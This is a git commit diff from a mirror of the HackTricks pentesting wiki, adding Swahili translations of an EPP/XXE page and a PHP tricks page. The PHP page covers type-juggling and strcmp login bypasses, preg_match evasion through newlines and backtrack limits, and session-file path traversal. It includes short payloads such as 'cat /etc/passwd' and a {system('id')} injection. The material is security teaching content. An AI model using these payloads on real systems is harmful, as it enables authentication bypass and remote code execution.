mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ
This commit is contained in:
parent
e830430401
commit
c728c6aa9f
6 changed files with 655 additions and 851 deletions
|
@ -454,6 +454,7 @@
|
|||
* [554,8554 - Pentesting RTSP](network-services-pentesting/554-8554-pentesting-rtsp.md)
|
||||
* [623/UDP/TCP - IPMI](network-services-pentesting/623-udp-ipmi.md)
|
||||
* [631 - Internet Printing Protocol(IPP)](network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md)
|
||||
* [700 - Pentesting EPP](network-services-pentesting/700-pentesting-epp.md)
|
||||
* [873 - Pentesting Rsync](network-services-pentesting/873-pentesting-rsync.md)
|
||||
* [1026 - Pentesting Rusersd](network-services-pentesting/1026-pentesting-rusersd.md)
|
||||
* [1080 - Pentesting Socks](network-services-pentesting/1080-pentesting-socks.md)
|
||||
|
|
39
network-services-pentesting/700-pentesting-epp.md
Normal file
39
network-services-pentesting/700-pentesting-epp.md
Normal file
|
@ -0,0 +1,39 @@
|
|||
# 700 - Kupima Usalama wa EPP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositori za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Itifaki ya Uwekaji wa Kupanuliwa (EPP) ni itifaki ya mtandao inayotumika kwa **usimamizi wa majina ya kikoa na rasilimali zingine za mtandao** na usajili wa majina ya kikoa na wasajili wa majina ya kikoa. Inawezesha kiotomatiki cha usajili wa majina ya kikoa, upya, uhamisho, na mchakato wa kufuta, ikisimamia mfumo wa mawasiliano uliostandardiwa na salama kati ya miundo tofauti katika mfumo wa majina ya kikoa (DNS). EPP imeundwa kuwa na mtego na kupanuliwa, ikiruhusu kuongezwa kwa vipengele na amri mpya wakati mahitaji ya miundombinu ya mtandao yanavyoendelea.
|
||||
|
||||
Kimsingi, ni moja ya itifaki ambayo **msajili wa TLD atakuwa anatoa kwa wasajili wa kikoa** ili kusajili majina mapya katika TLD.
|
||||
|
||||
### Kupima Usalama
|
||||
|
||||
[**Katika makala hii ya kuvutia sana**](https://hackcompute.com/hacking-epp-servers/) unaweza kuona jinsi baadhi ya utafiti wa usalama uligundua kuwa **utekelezaji wa itifaki hii** ulikuwa hatarini kwa XXE (XML External Entity) kwani itifaki hii hutumia XML kwa mawasiliano, ambayo ingeweza kuruhusu wadukuzi kuchukua udhibiti wa TLD tofauti.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositori za github.
|
||||
|
||||
</details>
|
|
@ -6,19 +6,17 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Mahali pa Kawaida pa Vidakuzi:
|
||||
## Mahali Maarufu ya Vidakuzi:
|
||||
|
||||
Hii pia inatumika kwa vidakuzi vya phpMyAdmin.
|
||||
|
||||
Vidakuzi:
|
||||
Hii pia ni halali kwa vidakuzi vya phpMyAdmin.
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
|
@ -30,11 +28,11 @@ Maeneo:
|
|||
/tmp/
|
||||
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Kuvuka Ulinganisho wa PHP
|
||||
## Kupita kwa Ulinganisho wa PHP
|
||||
|
||||
### Ulinganisho wa Kupunguza/Type Juggling ( == )
|
||||
### Ulinganisho wa Kupumzika/Type Juggling ( == )
|
||||
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna hali ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha aina ya data inayolinganishwa ni sawa, unahitaji kutumia `===`.
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
|
||||
Vitabu vya ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -42,18 +40,18 @@ Vitabu vya ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.
|
|||
|
||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> Kweli` Herufi ambayo haianzi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> Kweli` Maneno yaliyoundwa na nambari katika muundo wa desimali au hexa yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya Kweli ikiwa nambari hizo zilikuwa sawa (nambari katika herufi zinachukuliwa kama nambari)
|
||||
* `"0e3264578" == 0 --> Kweli` Herufi inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> Kweli` Herufi inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> Kweli` Hii ni ya kuvutia sana kwa sababu katika baadhi ya hali unaweza kudhibiti kuingiza herufi ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash kuanzia na "0e" na bila herufi yoyote, unaweza kuvuka ulinganisho. Unaweza kupata **herufi zilizohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> Kweli` Herufi yoyote katika herufi ni sawa na nambari 0
|
||||
* `"string" == 0 -> Kweli` String ambayo haianzi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> Kweli` Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya Kweli ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari)
|
||||
* `"0e3264578" == 0 --> Kweli` String inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> Kweli` String inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> Kweli` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kwa kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> Kweli` Herufi yoyote katika string ni sawa na int 0
|
||||
|
||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**Type Juggling** pia inaathiri kazi ya `in_array()` kwa chaguo-msingi (unahitaji kuweka kweli hoja ya tatu ili kufanya ulinganisho wa kina).
|
||||
**Type Juggling** pia huathiri kazi ya `in_array()` kwa chaguo-msingi (unahitaji kuweka kweli hoja ya tatu ili kufanya kulinganisha kali):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -63,28 +61,28 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
Ikiwa kazi hii inatumika kwa **uthibitisho wowote** (kama kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya herufi kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kuepuka uthibitisho huu:
|
||||
Ikiwa kazi hii inatumika kwa **uthibitisho wowote** (kama vile kuthibitisha nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma safu tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kuepuka uthibitisho huu:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
Kosa lile lile linatokea na `strcasecmp()`
|
||||
Hitilafu ile ile hutokea na `strcasecmp()`
|
||||
|
||||
### Uchawi wa Aina ya Kukandamiza
|
||||
### Uchezaji wa Aina Kali
|
||||
|
||||
Hata kama `===` inatumika, kuna makosa yanayofanya ulinganishaji uwe hatarini kwa uchawi wa aina. Kwa mfano, ikiwa ulinganishaji unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:
|
||||
Hata kama `===` inatumika, kunaweza kuwa na makosa yanayofanya ulinganishaji uwe hatarini kwa uchezaji wa aina. Kwa mfano, ikiwa ulinganishaji unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** inaweza kutumika kwa **kuthibitisha kuingia kwa mtumiaji** (inachunguza ikiwa kuna neno/regex kutoka kwenye orodha nyeusi kwenye kuingia kwa mtumiaji na ikiwa hakuna, kificho kinaweza kuendelea na utekelezaji wake).
|
||||
**`preg_match()`** inaweza kutumika kwa **kuthibitisha kuingia kwa mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwa **orodha nyeusi** lipo kwenye **kuingia kwa mtumiaji** na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake).
|
||||
|
||||
#### Kuepuka mstari mpya
|
||||
#### Kupita kwenye mstari mpya
|
||||
|
||||
Hata hivyo, wakati wa kubainisha mwanzo wa regexp, `preg_match()` **inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji**, kwa hivyo ikiwa kwa njia fulani unaweza **kupeleka** kuingia kwa mtumiaji kwa **mistari kadhaa**, unaweza kuepuka ukaguzi huu. Mfano:
|
||||
Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji**, kisha ikiwa kwa njia fulani unaweza **kutuma** kuingia kwa mtumiaji kwa **mistari kadhaa**, unaweza kupita kwenye ukaguzi huu. Mfano:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -97,7 +95,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Kuongeza njia hii unaweza **kutuma thamani na safu mpya zilizounganishwa na URL** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, ituma kwa **mistari kadhaa**:
|
||||
Ili kudukua ukaguzi huu unaweza **kupeleka thamani na mistari mipya iliyofanywa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, ituma katika **mistari kadhaa**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -105,45 +103,30 @@ Kuongeza njia hii unaweza **kutuma thamani na safu mpya zilizounganishwa na URL*
|
|||
```
|
||||
Pata mfano hapa: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Kosa la urefu kuvuka**
|
||||
#### **Kosa la Urefu**
|
||||
|
||||
(Hii njia ya kuvuka ilijaribiwa kwenye PHP 5.2.5 na sikufanikiwa kuifanya kazi kwenye PHP 7.3.15)\
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` kuingia kubwa sana na **sahihi**, itashindwa kuiprocess na utaweza **kuvuka** ukaguzi. Kwa mfano, ikiwa inazuia JSON unaweza kutuma:
|
||||
(Hii njia ya kudanganya ilijaribiwa kwa PHP 5.2.5 na sikufanikiwa kuifanya kazi kwa PHP 7.3.15)\
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` kiingilio kikubwa sana **halali**, haitaweza **kuliprocess** na utaweza **kudanganya** ukaguzi. Kwa mfano, ikiwa inazuia JSON unaweza kutuma:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
Kutoka: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||
|
||||
#### Kupitisha Bypass
|
||||
|
||||
Hila kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
#### Kupuuza ReDoS
|
||||
|
||||
Mbinu kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa ufupi tatizo linatokea kwa sababu `preg_*` kazi katika PHP inajengwa juu ya [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, mifano fulani ya kawaida inalinganishwa kwa kutumia wito nyingi za kurekursi, ambayo inatumia nafasi nyingi ya stack. Inawezekana kuweka kikomo kwa idadi ya kurekursi inayoruhusiwa, lakini katika PHP kikomo hiki [kinawekwa kwa 100,000 kwa chaguo-msingi](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana na stack.
|
||||
Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions hulinganishwa kwa kutumia wito mwingi wa kurudia, ambao unatumia nafasi nyingi ya stack. Inawezekana kuweka kikomo kwa idadi ya kurudia inayoruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya inavyolingana na stack.
|
||||
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilikuwa imeunganishwa katika chapisho ambapo inazungumziwa zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\
|
||||
**Tuma kuingia ambayo itafanya regex ifanye kurekursi zaidi ya 100,000, ikisababisha SIGSEGV, kufanya kazi ya `preg_match()` irudishe `false` hivyo kufanya programu iamini kuwa kuingia kwetu sio mbaya, kutupa mshangao mwishoni mwa mzigo kama `{system(<amri mbaya sana>)}` ili kupata SSTI --> RCE --> bendera :)**.
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ililinkiwa katika chapisho ambapo inazungumziwa kwa kina zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\
|
||||
**Tuma kuingiza ambacho kitafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iweze kufikiri kuwa kuingiza kwetu si mbaya, kutupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> bendera :)**.
|
||||
|
||||
Vizuri, kwa maneno ya regex, hatufanyi kwa kweli "kurekursi" 100k, lakini badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inasema inawekwa kwa 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\
|
||||
Kufikia hilo, `'X'*500_001` itatoa hatua za kurudi nyuma milioni moja (hatua 500k mbele na 500k nyuma):
|
||||
Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema kawaida ni 1,000,000 (1M) katika variable ya `pcre.backtrack_limit`.\
|
||||
Ili kufikia hilo, `'X'*500_001` itatoa hatua milioni moja za kurudi nyuma (mbele 500k na nyuma 500k):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### Aina ya Juggling kwa ajili ya kuficha PHP
|
||||
|
||||
Type juggling ni mbinu ya kubadilisha aina ya data katika PHP ili kuficha au kuchanganya kanuni. Mbinu hii inaweza kutumika kwa kuficha kanuni ya PHP ili kufanya iwe ngumu kusoma au kuelewa.
|
||||
|
||||
Katika PHP, aina ya data inaweza kubadilishwa kwa kutumia opereta ya kulinganisha (==) badala ya opereta ya kulinganisha sawa (===). Hii inaruhusu kulinganisha kati ya aina tofauti za data, kama vile nambari na herufi, bila kuzingatia aina halisi ya data.
|
||||
|
||||
Kwa mfano, kulinganisha kati ya nambari 0 na herufi '0' kwa kutumia opereta ya kulinganisha (==) itatoa matokeo ya kweli, ingawa aina ya data ni tofauti. Hii inaweza kutumika kwa faida ya mshambuliaji kwa kuficha kanuni ya PHP.
|
||||
|
||||
Kwa kufanya juggling ya aina, mshambuliaji anaweza kuchanganya aina ya data ili kuficha kanuni halisi. Hii inaweza kufanyika kwa kubadilisha aina ya data ya pembejeo au kwa kubadilisha aina ya data ya matokeo ya kulinganisha.
|
||||
|
||||
Kwa mfano, kwa kutumia juggling ya aina, mshambuliaji anaweza kubadilisha aina ya data ya pembejeo kutoka herufi kwenda nambari ili kuficha kanuni halisi. Hii inaweza kufanyika kwa kutumia kazi kama vile `intval()` au `floatval()` ili kubadilisha herufi kuwa nambari.
|
||||
|
||||
Kwa kumalizia, type juggling ni mbinu ya kuficha kanuni ya PHP kwa kubadilisha aina ya data. Mbinu hii inaweza kutumika kwa faida ya mshambuliaji kwa kufanya kanuni iwe ngumu kusoma au kuelewa.
|
||||
### Kuchanganya Aina za Data kwa PHP kuficha habari
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
@ -156,7 +139,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Tekeleza Baada ya Kuelekeza (EAR)
|
||||
|
||||
Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayoitwa baada ya kichwa cha **`Location`** kimewekwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili:
|
||||
Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** function inayoitwa baada ya kichwa cha **`Location`** kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -166,18 +149,26 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Uchomaji wa Njia na Ujumuishaji wa Faili
|
||||
|
||||
Angalia:
|
||||
|
||||
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
||||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Mbinu zaidi
|
||||
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia yake inafanana). Hii inamaanisha kuwa katika mazingira ya kawaida kama vile $\_GET ikiwa na thamani kama $\_GET\["param"]="1234", unaweza kuipata kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha thamani** ya variables ambazo hutumiwa ndani ya kificho.
|
||||
* **PHPSESSION cookies za kikoa kimoja zimehifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **vidakuzi tofauti hutumiwa kwenye njia tofauti** unaweza kufanya njia moja **iweze kufikia kuki ya njia nyingine** kwa kuweka thamani ya kuki ya njia nyingine.\
|
||||
Kwa njia hii, ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia ya kwanza itumike katika njia ya pili**. Na kisha njia ya pili itachukulia kama halali variables za njia ya kwanza (kwa kutoa kuki jina linalolingana nayo katika njia ya pili).
|
||||
* Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\<USERNAME>** kuona ikiwa saraka za php zimeamilishwa.
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia zao inafanana). Hii inamaanisha kwamba katika variables za kawaida kama $\_GET ikiwa zina thamani kama $\_GET\["param"]="1234", unaweza kufikia hiyo thamani kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha variables** ambazo hutumiwa ndani ya nambari.
|
||||
* **PHPSESSION cookies za kikoa kimoja zinahifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **tofauti cookies hutumiwa kwenye njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia1 iweze kutumika kwa njia2**. Na kisha njia2 itachukua kama halali variables za njia1 (kwa kumpa cookie jina linalolingana nayo katika njia2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\<JINA LA MTUMIAJI>** kuona ikiwa miongozo ya php imeamilishwa.
|
||||
* [**LFI na RCE kwa kutumia php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Kazi hizi kawaida hutumiwa katika PHP ku **zalisha hash kutoka kwa nywila** na ku **angalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Algoritimu zinazoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Tafadhali kumbuka kuwa **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kikomo cha ukubwa katika kuingiza herufi 72**. Kwa hivyo, unapojaribu kuzalisha hash kwa kitu kikubwa kuliko herufi 72 kwa kutumia algoritimu hii, itatumika tu herufi 72 za kwanza:
|
||||
Hizi kazi kawaida hutumiwa katika PHP kwa **kuzalisha hashes kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Algorithms zinazoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kizuizi cha ukubwa katika kuingia cha 72bytes**. Kwa hivyo, unapojaribu kuhifadhi kitu kikubwa kuliko 72bytes na algorithm hii, tu 72B ya kwanza itatumika:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -185,10 +176,10 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### Kuki za HTTP zinazokiuka kwa kutumia makosa ya PHP
|
||||
### Kichwa cha HTTP kukiuka kutumia makosa ya PHP
|
||||
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kutoa tena baadhi ya pembejeo zinazotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP ichapishe tena **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa vya habari** kwenye jibu, seva itatoa kosa.\
|
||||
Katika mazingira yafuatayo, **mshambuliaji alifanya seva itoe makosa makubwa**, na kama unavyoona kwenye skrini wakati PHP ilijaribu **kubadilisha habari ya kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kutoa nyuma baadhi ya data iliyotolewa na mtumiaji**, mtumiaji anaweza kufanya **server ya PHP ichapishe nyuma baadhi ya maudhui ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu server itatoa kosa.\
|
||||
Katika hali ifuatayo **mshambuliaji alifanya server itoe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilipojaribu **kurekebisha habari ya kichwa, haikuweza** (kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
|
||||
![](<../../../.gitbook/assets/image (465).png>)
|
||||
|
||||
|
